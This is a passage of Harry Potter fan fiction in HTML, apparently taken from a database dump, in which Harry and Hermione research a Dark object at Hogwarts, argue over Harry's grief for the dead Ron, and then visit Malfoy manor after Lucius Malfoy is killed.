interrupted\nwhen Hermione&#8217;s head appeared suddenly in the fire. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry,&#8221; she said, &#8220;can you come over here for\na minute? Dumbledore wants a word&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When he arrived she told him, &#8220;We have a few\nminutes to wait&#8212; he&#8217;s got some Hogwarts business to take care of first. Have a\nseat.&#8221; She gestured to the couch, upon which Harry sat down. Rather than\ncounting dots on the ceiling as he waited, he attempted to count the books that\nwere in neat lines on the bookshelves, tossed in a basket in the corner, and\nstacked high on practically every accessible horizontal surface.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So&#8230;&#8221; Hermione said as she straightened the\nseven crucifixes hanging on her wall for protection against vampires and\nvindictive, undead spirits. &#8220;Did you enjoy the\nQuidditch match?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It was&#8230;&#8221; he paused as he searched for an\nacceptable word. &#8220;It was inspiring.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione turned to face him. &#8220;God, Harry, why\ndon&#8217;t you just admit you had fun?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It&#8217;s not important,&#8221; Harry said rather\ncoldly. &#8220;And I can&#8217;t afford to be weak anymore.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Why exactly is having fun a sign of\nweakness?&#8221; Hermione asked patiently, but just as coldly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was spared answering, because at that\nmoment the head of Albus Dumbledore appeared in the\nfire. &#8220;Ah, I see you are both there, very good,&#8221; he said. &#8220;I have been giving\nsome thought to the Orb of Slytherin matter as told to me by Remus. You haven&#8217;t\nbeen having any luck so far in your search?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No, sir, our books don&#8217;t go into that sort of\ndetail,&#8221; said Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, then I insist that you come to Hogwarts\nto help you in your search. As you have captured Death Eaters over the years,\nthe Ministry has confiscated some&#8230; <i style="mso-bidi-font-style:normal">highly\ninteresting</i> books and objects from their homes. They are now being stored\nin the Restricted Section of the library. I give you permission to use them in\nyour research&#8212; but be careful, they are rather powerful Dark objects.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Thank you, sir.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">With that, he disappeared from the fire. Harry\nsimply sat for a few moments, not really looking forward to the prospect of\nreading through hundreds more books on the Dark Arts. Hermione, on the other\nhand, leapt up from her seat. &#8220;Well, what are we waiting for?&#8221; she said, and\ntossed some Floo powder into the fire. &#8220;Hogwarts\nlibrary.&#8221; She disappeared in a rush of green fire.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had no choice but to follow her, so he\ndid. When he arrived in the library he found his partner already immersed in a\nhuge and sinister-looking book. A few of the more dedicated Hogwarts students\nwere in the library revising for their exams, which were a little less than a\nmonth away; when he passed by them., they whispered excitedly to each other\nbefore scurrying out of the room, probably to tell their friends that the\nfamous Harry Potter was in the library.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sure enough, minutes later they had returned\nwith what seemed like the entire school. Harry remembered all too well how quickly\ngossip spread through Hogwarts, particularly gossip involving him. It was quite\ndifficult to work as a crowd of students stood nearby, pointing and whispering\nrapidly, but he ignored them as best he could. One small witch got up the nerve\nto ask Harry for his autograph.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Only if you get Hermione&#8217;s first. It&#8217;s a\npackaged deal,&#8221; he told her. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">The girl slid the parchment across the table.\nAlthough she was clearly ruffled by this distraction, Hermione smiled\ntolerantly and signed the parchment before returning to her book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry then autographed the parchment and\nwaited until the girl returned to show her friends, who were all giggling\nmadly. To prevent further disruption from other students keen on getting his\nsignature, he conjured up a soundproof curtain across the library, shielding\nHermione and him from the view of the tittering throng.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Doesn&#8217;t it bother you?&#8221; he asked Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Does what bother me?&#8221; she responded, her face\nstill buried in her book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry hesitated&#8212; Hermione could potentially be\nquite dangerous when interrupted from her work. But he pressed valiantly on,\n&#8220;When people see us, they really only see me, you know.&#8221; He paused, wondering\nif he had offended her, but she was still reading her book, showing no signs\nthat she had even heard him. &#8220;I mean, that girl, she just asked for my\nautograph and ignored you.&#8221; Having made his point, he stopped speaking and\nwaited for her reply.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He watched Hermione&#8217;s eyes travelling over the\nwords in front of her. Having finished the paragraph she finally looked up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;re confusing me with Ron,&#8221; she said\nquietly, with a soft smile.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Something flickered in Harry&#8217;s habitually cold\ngreen eyes. She saw it; she reached out to take his hand, but quickly withdrew\nher arm when he automatically shrank back from her touch. But she didn&#8217;t stop\ntalking.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;ve been famous since you were a year old,\nHarry. I don&#8217;t expect to compete with that. I don&#8217;t <i style="mso-bidi-font-style:\nnormal">want</i> to compete with that, anyway. It&#8217;s not important at all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I never wanted to be famous,&#8221; said Harry\nsullenly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I know you didn&#8217;t.&#8221; She gave him a reassuring\nsmile before adding, &#8220;I appreciate your concern, though.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She went back to her work. Having nothing else\nto say or do, Harry did likewise. But his mind was no longer on the book in\nfront of him (<u>Secrets of the Dark Arts</u>). He was thinking about the name\nHermione had mentioned.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Suddenly he wished that they could do their\nresearch someplace else. Just to be in this building, this school, forced\nmemories of happier times into his stubborn mind. Indeed, the happiest seven years\nof his life were at Hogwarts School of Witchcraft and Wizardry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Seven years, side by side. Hermione and Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And Ron. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron Weasley. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry&#8217;s red-headed, freckle-faced,\nQuidditch-loving best friend. They were all but inseparable. Everything&#8212;\nclasses, meals, homework, Quidditch&#8212; they did together. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">He&#8217;d been equally close to Hermione, but for\ndifferent reasons. She&#8217;d always been the sensitive, loyal, and sensible one.\nAnd she still was, of course.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But Ron was simply more fun to be around.\nHermione had her own distinctive sense of humour, dry and sarcastic, not unlike\nthat of Remus Lupin. But with Ron, <i style="mso-bidi-font-style:normal">everything</i>\nhad been funny. Nothing put Harry in better spirits than a game of Quidditch in\nthe orchard with the Weasley brothers, or an intense\nsnowball fight out on the grounds with Ron and the twins, or a quiet game of\nwizard&#8217;s chess near the common room fire, Ron easily beating him every time.\nLike Sirius, Ron could find humour in any situation, no matter how dire&#8230; </p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">That&#8217;s not a\ngood thing</i>, he fiercely tried to tell himself. <i style="mso-bidi-font-style:normal">Some\nthings are simply not funny</i>. Yet this argument inside his head quickly\ndissolved. Ron had become a lot more mature&#8212; and he wasn&#8217;t stupid. He knew when\nto joke around and when not to. Harry couldn&#8217;t help feeling he missed Ron&#8217;s company.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Stop being so\ndismal!</i> he silently screamed at himself. He&#8217;d been telling himself this for\nyears, over and over. God forbid that his life be fun. <i style="mso-bidi-font-style:\nnormal">I don&#8217;t want to have fun</i>. <i style="mso-bidi-font-style:normal">That&#8217;s\nnot who I am</i>.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But it is who you <i style="mso-bidi-font-style:\nnormal">were</i>, said another, different voice in his head. Why did you\nchange? Just because Ron&#8217;s gone doesn&#8217;t mean you can&#8217;t have fun.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">That&#8217;s not what\nI&#8217;m here for</i>, said Harry&#8217;s willpower. <i style="mso-bidi-font-style:normal">All that\nmatters is killing Voldemort</i>.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry&#8217;s conscience replied, But look what\nyou&#8217;ve become ever since that has been your mindset. You&#8217;re ignoring your real\nfeelings.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">No! I don&#8217;t need\nfeelings. I don&#8217;t have feelings.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Even worse! </p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">It&#8217;s necessary!\nExtracurricular relationships become obstacles!</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">But&#8212;</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">SHUT UP!</i> Harry bellowed at\nthe quarrel inside his head, which hurt as if his conscience and willpower had\nbeen punching each other as well as arguing. He felt annoyed, exhausted&#8212; the\nway he always did after listening to a fight between Hermione and Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Oh, look, there&#8217;s Ron again, said his\nconscience. You can&#8217;t keep yourself from thinking about him, can you?</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">I could if you\nwould just stop remembering him</i>, his willpower shot back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Just admit you miss him. Admit you&#8217;re sad.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Fed up, Harry silenced the voices in his head\nby slamming <u>Secrets of the Dark Arts</u> to his forehead. Having done this\nhe slowly lowered the book, to find Hermione watching him carefully. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">She stood up. &#8220;I think you need a break,\nHarry,&#8221; she said soothingly. &#8220;Let&#8217;s take a walk.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m fine,&#8221; said Harry through gritted teeth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, <i style="mso-bidi-font-style:normal">I</i>\nneed a break, then,&#8221; Hermione said firmly. &#8220;Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry grudgingly followed her out of the\nlibrary. They walked briskly through the familiar hallways, ignoring the\nwhispers and pointing fingers of the students and portraits as they passed. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">When they came to the entrance hall Hermione\nstopped abruptly as her eyes fell upon something mounted over the huge oak\ndoors. Harry followed her gaze. It was an enormous obsidian plaque, bearing\nwords of gold:</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b style="mso-bidi-font-weight:normal">in memory of Ronald Weasley</b></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b style="mso-bidi-font-weight:normal">Order of Merlin, First Class</b></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Order of Merlin, First Class,&#8221; Harry read the\nlast line of the plaque aloud. &#8220;Think we&#8217;ll ever get First Class?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ignoring Harry&#8217;s question, Hermione hissed at\nhim, &#8220;Is that all you see? Order of Merlin, First Class? What about the first\nline, your best friend&#8217;s name?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When Harry didn&#8217;t answer her, she pulled him\noutside by his arm. She marched him across the grounds, all the way to the\nshores on the side of the lake farthest from Hogwarts. She had brought him to a\nsecluded location, sandwiched between the forest and the lake. There were three\nsmall boulders here&#8212; Hermione sat on one and Harry on another.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They simply sat in silence for a while as\nHermione watched a scowling Harry. She had taken him here on purpose, to try to\nget him to <i style="mso-bidi-font-style:normal">feel </i>something. After he,\nRon, and Hermione had discovered this spot in their fifth year, it had quickly\nbecome their favourite place on the Hogwarts grounds. She knew he had a\nparticularly large collection of memories that took place here. And judging from\nthe pained look on his face that he was working hard (and failing) to conceal,\nhe was reliving some of those memories right now.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m not doing this to be mean,&#8221; said\nHermione, staring out at the lake.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Why are you doing it, then?&#8221; Harry asked,\ntrying to keep his deep voice calm.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She looked at him. Harry was surprised to see\ntears on her face. &#8220;I&#8217;m worried about you,&#8221; she said in a shaky, quiet voice.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, don&#8217;t be.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Exasperated, Hermione jumped off her rock and\npulled Harry off of his own. She held him by his shoulders at arm&#8217;s length, as\nshe looked directly into his face. She said slowly, &#8220;I want you to tell me\nwhat&#8217;s wrong.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What makes you think something&#8217;s wrong?&#8221; he\nsaid doggedly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;This,&#8221; &#8211; she shook his shoulders a little\nmore forcefully than she probably intended to&#8212; &#8220;is not Harry. The real Harry\nPotter is a kind, happy, emotional, caring guy that I went to school with for\nseven years. This,&#8221; &#8211; she shook his shoulders again&#8212; &#8220;is a machine, a wizard\nwho is only concerned with killing Voldemort, and couldn&#8217;t care less about\nhimself or other people, and <i style="mso-bidi-font-style:normal">feels\nnothing</i>.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As though to prove her point, she grabbed his\nhead, pulled off his sunglasses, and kissed him on the lips, her cinnamon eyes\nnot leaving his green ones. When he simply stared stonily back at her, she\nthrew her arms around his neck and burst into tears.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stood as still as though he was\nPetrified, though he was breathing rather heavily as he waited for Hermione to\nrelease him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You&#8217;re wrong,&#8221; he said monotonously. She\nstopped sobbing, but didn&#8217;t lift her head from his shoulder, which was soaked\nwith angry, sad, and frustrated tears. &#8220;I care about other people. That&#8217;s why\nI&#8217;m fighting Voldemort&#8212; so all my old friends and everybody else can live and\nnot have to worry about him. And to avenge my parents&#8217; deaths, and Sirius, and\nRon&#8230;&#8221; Hoping he had made a strong enough case to pacify Hermione at least\ntemporarily, he let his voice trail off.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But far from tranquilising her, his words\nseemed to send her into a rage. She pushed him backwards, away from her, hard.\n&#8220;So that&#8217;s all your &#8216;friends&#8217; are to you? Reasons to fight Voldemort?&#8221; Hermione\nsaid this loudly, and so venomously that Harry took several steps back to put\nmore space between them. He backed up as far as he could go without falling\ninto the lake, but Hermione closed the gap quickly. Seething with anger and\nless than a metre away from him, she hissed, &#8220;You have no idea what real\nfriendship is about, do you? Wait, I take it back&#8212; you were a good friend for\nseven years, keyword being <i style="mso-bidi-font-style:normal">were</i>. You\nknow what it&#8217;s all about. You just choose to ignore it, for no good reason at\nall.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hoping she wouldn&#8217;t push him into the lake,\nHarry said and did nothing. Hermione&#8217;s blazing eyes softened a little, but were\nstill fiery. &#8220;I can&#8217;t make you change back to who you really are. If you want\nto keep up this fa&#231;ade, well, that&#8217;s your choice. But you owe yourself better.\nYou deserve better than what you give yourself. Remember that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione gave him a final, piercing stare, so\nreminiscent of Professor McGonagall that Harry half expected her to try to give\nhim a detention. But she only walked off, saying, &#8220;See you tomorrow, <i style="mso-bidi-font-style:normal">Potter</i>.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Her last word hit Harry like a bullet. Never\nin his life had she called him only by his surname. He didn&#8217;t move from his\nspot until she had disappeared into the entrance hall of Hogwarts. The argument\nhad left a very strange feeling in the pit of his stomach. Upon reflection, he\nrealised that he had never really had a fight with Hermione before. </p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">She&#8217;s wrong</i>, he told\nhimself for the thousandth time as he lay awake that night. Over the past six\nyears he&#8217;d repeatedly told himself not to make the same mistake twice&#8212; that\nmistake was allowing himself to become close to the people around him. And when\nhe lost the people he loved, it hurt&#8212; a lot more than it hurts not to love at\nall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Over six long years he had slowly convinced\nhimself that he was doing the right thing. And no one, not even Hermione, would\nchange his mind.</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">I don&#8217;t eat, I just devour<br>\nEveryone in every hour<br>\nAll is me is all I need and that&#8217;s all that I care</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">Propelled through all this madness</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">By your beauty and my sadness</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">I&#8217;ll never change or rearrange till I&#8217;ve finished what\nI&#8217;ve started</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">And life leads me here<br>\nIt shows me, I have never really loved no one but me<br>\nLike the time, you slipped through my hands<br>\nI&#8217;ll never understand why I&#8217;m such a Selfish Man</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">Walk around me, not before me<br>\nI&#8217;ll pretend not to ignore ye<br>\nBut I&#8217;ll compromise if I realise you can do something for me<br>\nI&#8217;m ugly and you know it<br>\nBut you think I am a poet<br>\nSo I&#8217;ll keep the rhyme if I feel in time, it gets me where I&#8217;m going</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">And life leads me here<br>\nIt shows me, I have never really loved no one but me<br>\nLike the time, you slipped through my hands<br>\nI&#8217;ll never understand why I&#8217;m such a Selfish Man</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">All I heard was an unearthly silence,<br>\nApart from the violence, explode in my head<br>\nWhere at all once was this moment of beauty<br>\nNo more since it slew me<br>\nNo never again</i></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><i style="mso-bidi-font-style:normal">No, I&#8217;ll never understand why I&#8217;m such a Selfish Man</i></p>\n\n<p class="MsoNormal" style="tab-stops:587.25pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n'),
	(64, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">- part\nIII: moving on &#8211;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The next morning Harry arrived at the Hogwarts\nlibrary promptly at 8:00 to find\nHermione already engrossed in a book, feverishly taking notes. Without a word\nhe sat across the table from her and opened <u>Secrets of the Dark Arts</u>,\nwhich lay as he had left it the night before. They worked silently for nearly\nan hour before Hermione spoke.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He dropped his quill. Not only was she talking\nto him, she called him by his first name. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m really sorry I lost my temper yesterday,&#8221;\nshe said earnestly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Not able to believe his good fortune, Harry\nreplied, &#8220;Er&#8212; don&#8217;t worry\nabout it. And I&#8217;m sorry for being such a&#8230; such a&#8230;&#8221; He struggled to find a good\nword to use.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Prat?&#8221; Hermione\nsuggested good-naturedly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, that sounds about right.&#8221; He went back\nto his book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ve never been very good at hiding my\nemotions,&#8221; Hermione said thoughtfully. Then she added, &#8220;Maybe I should take\nlessons from you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry quickly looked up again; he was relieved\nto see that she was smiling. He was about to make a sarcastic remark back to\nher when a different voice interrupted. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hello, you two.&#8221; Remus Lupin stepped from the\nfireplace, dusting ash from his robes. &#8220;Interesting news from\nthe Auror world. We finally got Lucius\nMalfoy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione jumped out of her seat, and Harry\nclosed <u>Secrets of the Dark Arts</u> with a bang. But Remus held up a hand.\n&#8220;Don&#8217;t get too excited &#8211; Blaise and Cho killed him.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Frustrated, Harry kicked the leg of the table,\nbut only succeeded in stubbing his toe rather severely. Hermione looked\ndisappointed. &#8220;So much for interviewing him,&#8221; she grumbled, shaking her head\ndisapprovingly. &#8220;Pity he wasn&#8217;t our assignment&#8212; we could have got some useful\ninformation out of him. I mean, he was Voldemort&#8217;s second\nin command!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We&#8217;re not done with him yet,&#8221; said Harry\nslowly as he rubbed his throbbing toe. He was remembering something that had\nbeen said to him a full twelve years ago, something regarding the Malfoy manor&#8230;\n<i style="mso-bidi-font-style:normal">Father&#8217;s got some </i>very<i style="mso-bidi-font-style:normal"> valuable Dark Arts stuff&#8230; we&#8217;ve got our own\nsecret chamber&#8212;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Under the drawing room floor&#8230;&#8221; Hermione\nmuttered. She looked up at Harry. &#8220;I remember you and Ron telling me about\nthat! I just hope it&#8217;s still there&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;There&#8217;s only one way to find out.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All three of them Flooed to Malfoy manor. Several Ministry officials\nwere examining the mansion and the bodies of a few dead Death Eaters strewn\nabout the hallways. On the luxurious leather couch across the room, Blaise and\nCho seemed to be enjoying a celebratory snog.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry laughed under his breath. Ten years ago\nhe would have been madly jealous of Blaise. But now, he could honestly say that\nhe didn&#8217;t care. He had had the privilege of being Cho Chang&#8217;s boyfriend for a\nfew short months&#8212; but that passed uneventfully, and it had been over for six\nyears.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His past stupidity both amazed and amused him.\nHis crush on Cho went back to his early years at Hogwarts; and it was just\nthat&#8212; a crush. A stupid boyhood crush that started the very first time he&#8217;d\nseen her, when he played against her in Quidditch. He couldn&#8217;t believe how much\ntime he&#8217;d wasted trying to get her to like him back. And just\nbecause she was beautiful&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry hadn&#8217;t even known what she was like\nuntil they&#8217;d started dating. And that was when he realised how rude and blinkered\nshe really was. It wasn&#8217;t the bossiness that really bothered him, or the fact\nthat she was a near-genius; after all, Hermione was graced with those traits as\nwell. But unlike Hermione, with whom he got along exceptionally well (with the\nvery rare exception), Cho allowed those two traits to be combined into\ninsufferable short-sightedness that Harry wouldn&#8217;t stand for.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">This particularly poisonous narrow-mindedness\nbecame evident when the news broke out that Hermione had joined the ranks of\nthe Death Eaters. In spite of Dumbledore&#8217;s trust and Harry&#8217;s assurances, Cho\nsimply refused to believe that Hermione was simply spying for the Order of the Phoenix. To this day\nHarry had no idea what drove him to defend Hermione so ardently in front of\nCho, but it didn&#8217;t matter now. It happened, it was in the past&#8212; Harry sided\nwith his best friend and called it quits with the girl he&#8217;d been chasing for\nyears.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Watching the busy couple on the couch (Cho\nseemed to be greatly enjoying Blaise&#8217;s tongue ring), Harry wondered vaguely whether they would get married. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">With a jolt he forced his mind back to\nreality. What did he care if Blaise and Cho got married? The answer was simple:\nhe didn&#8217;t, not at all. He had neither time nor reason to waste his brain cells\nthinking about such trivial things. He turned his attention to the reason he\nand Hermione had come here in the first place.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Let&#8217;s g&#8212; &#8221; he\nstarted, then realised Hermione wasn&#8217;t in the room. He walked through the\nnearest door and found her standing at the fireplace, studying something\nperched on the mantelpiece. When Harry entered the room she turned quickly\naround.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well,&#8221; she said with a grin, &#8220;finished\nstaring at Cho?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I didn&#8217;t&#8212; I was just looking&#8212;&#8221; Harry\ndissented.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Don&#8217;t worry; I know that&#8217;s over with. Have I\never thanked you for sticking up for me, six years ago?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, about a thousand times.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, I&#8217;ll make it a thousand and one&#8212;\nthanks. It really meant a lot to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Not at all,&#8221; said Harry. He walked over and\ngrabbed the object Hermione had been looking at. It was a photograph, complete\nwith an elaborate silver frame. His stomach gave an unpleasant turn when he saw\nthe subject of the photo. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Eighteen-year-old Draco Malfoy stared up at\nHarry, his face frozen in a spiteful, haughty expression except for his cold,\ngrey eyes, which blinked occasionally. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Finished staring at Malfoy?&#8221; Harry asked\nHermione teasingly. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Her face turned beet red. &#8220;That&#8217;s over with. I\ndon&#8217;t know what got into me, in that stupid little fling\nwith him&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione, you said <i style="mso-bidi-font-style:\nnormal">yes. </i>You were <i style="mso-bidi-font-style:normal">engaged</i>.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ve always liked blonds.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared at her. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, come on, you know I&#8217;m only kidding. I was\non a mission, for Merlin&#8217;s sake, don&#8217;t you remember?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He did remember. In a desperate attempt to get\ninside information on Voldemort, the Order of the Phoenix sent Hermione\nto &#8216;get together&#8217; with Malfoy. But Hermione, in the process, seemed to fall for\nthe cold-hearted cretin. Harry had uncomplainingly accepted this, as it\nresulted in Malfoy&#8217;s revelation of Voldemort&#8217;s Christmas plans, allowing the Order to stop\nthem. Ironically, their relationship also saved Hermione and, however\nindirectly, Harry, Dumbledore, and Hogwarts itself. 